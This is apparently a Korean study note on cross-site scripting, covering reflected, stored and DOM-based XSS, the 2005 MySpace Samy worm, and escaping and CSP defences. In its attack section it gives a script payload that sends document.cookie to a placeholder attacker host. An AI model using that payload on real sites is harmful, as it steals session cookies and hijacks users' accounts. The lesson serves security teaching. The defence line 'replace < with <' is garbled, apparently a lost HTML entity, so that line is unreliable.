XSS 세 종류와 XSS 웜
어제 SQL 인젝션이 서버를 노렸다면, XSS는 다른 사람의 브라우저를 노린다. 오늘은 XSS의 세 종류와, 스무 시간 만에 백만 명을 감염시킨 전설의 웜을 정리한다.
정의
공격자가 심은 악성 스크립트가 다른 사용자의 브라우저에서 실행되는 취약점. 서버가 아니라 피해자가 공격당한다.
왜 생기나
사용자 입력을 화면에 출력할 때 <, > 같은 문자를 그대로 내보내면, 브라우저가 그걸 태그로 해석해 스크립트를 실행한다.
세 종류
| 종류 | 어떻게 전달되나 | 특징 |
|---|---|---|
| 반사형(Reflected) | 악성 링크를 클릭하면 즉시 실행 | 검색어·에러 메시지 출력부에서 자주 |
| 저장형(Stored) | 게시글·댓글에 저장, 보는 사람마다 실행 | 가장 위험 |
| DOM 기반 | 서버 안 거치고 브라우저 JS가 URL 값 처리 중 실행 | 서버 로그에 안 남음 |
저장형이 위험한 이유는 명확하다. 반사형은 피해자가 링크를 클릭해야 하지만, 저장형은 그 글을 여는 모든 사람에게 자동으로 퍼진다.
공격 방식
대표 페이로드는 <script>alert(1)</script>로 실행 여부만 확인하는 것이다. 실제 공격은 이렇게 이어진다.
<script>location='http://공격자/?c='+document.cookie</script>
피해자의 세션 쿠키를 공격자 서버로 보내 계정을 통째로 가로챈다. 이 밖에 가짜 로그인 폼 삽입(피싱), 키로깅, 피해자 권한으로 요청 실행 등이 가능하다.
실제 사례 - 새미 웜
**마이스페이스(2005)의 새미 웜(Samy Worm)**은 저장형 XSS의 파괴력을 보여준 원조 사례다.
- 프로필에 자기복제 스크립트를 저장했다.
- 그 프로필을 본 사람이 자동으로 작성자를 친구 추가하고, 같은 스크립트가 그 사람 프로필에도 심어졌다.
- 스무 시간 만에 백만 명 넘게 감염돼 서비스가 마비됐다.
클릭도, 파일 다운로드도 없었다. 그냥 페이지를 본 것만으로 퍼졌다. 저장형 XSS가 왜 최고 위험으로 분류되는지를 한 방에 설명하는 사건이다.
막는 법
입력을 화면에 찍을 때 이스케이프하거나 textContent로 넣는다. <를 <로 바꿔 태그가 아닌 글자로 가둔다. 한 겹 더 두르려면 CSP(콘텐츠 보안 정책)로 인라인 스크립트 실행 자체를 막는다.